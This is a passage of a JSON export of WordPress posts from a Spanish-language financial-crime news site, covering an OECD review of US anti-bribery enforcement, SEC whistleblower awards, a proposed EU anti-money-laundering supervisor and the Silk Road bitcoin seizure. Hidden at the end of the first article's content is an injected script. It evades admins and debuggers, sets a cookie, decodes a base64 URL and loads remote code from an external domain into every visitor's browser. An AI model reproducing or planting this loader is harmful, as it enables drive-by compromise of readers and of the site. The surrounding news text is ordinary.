anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" 